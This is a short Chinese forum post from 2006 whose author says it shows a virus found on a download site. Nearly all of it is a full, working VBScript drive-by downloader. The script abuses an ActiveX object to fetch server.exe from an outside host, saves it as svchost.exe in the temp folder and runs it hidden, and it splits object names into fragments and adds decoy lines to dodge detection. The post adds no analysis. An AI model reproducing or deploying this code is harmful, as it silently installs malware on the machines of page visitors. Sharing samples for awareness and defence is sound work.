在某个下载网站，发现的病毒。

iwlk 2006-10-27 09:35:36

在某个下载网站，发现的病毒。
代码如下:
-----------------------

<html>
<script language="VBScript">
on error resume next
MircoLong = "http://www.tianshigm.com/server.exe"
m4="down"
m5="file"
m6="copy"
m7="exit"
Set MircoLongc = document.createElement("object")
MircoLongc.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
seturla=m4
seturlb=m5
seturlc=m6
seturld=m7
MircoLongi="Microsoft.XMLHTTP"
Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
seturlf="Ado"
seturlg="db."
seturlh="Str"
seturli="eam"
MircoLongf=seturlf&seturlg&seturlh&seturli
MircoLongg=MircoLongf
set MircoLonga = MircoLongc.createobject(MircoLongg,"")
MircoLonga.type = 1
MircoLongh="GET"
MircoLongd.Open MircoLongh, MircoLong, False
MircoLongd.Send
MircoLong9="svchost.exe"
set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
set MircoLonge = MircoLongb.GetSpecialFolder(2)
MircoLonga.open
MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)
MircoLonga.write MircoLongd.responseBody
MircoLonga.savetofile MircoLong9,2
MircoLonga.close
set MircoLonge = MircoLongc.createobject("Shell.Application","")
MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0
</script>
</html>

...全文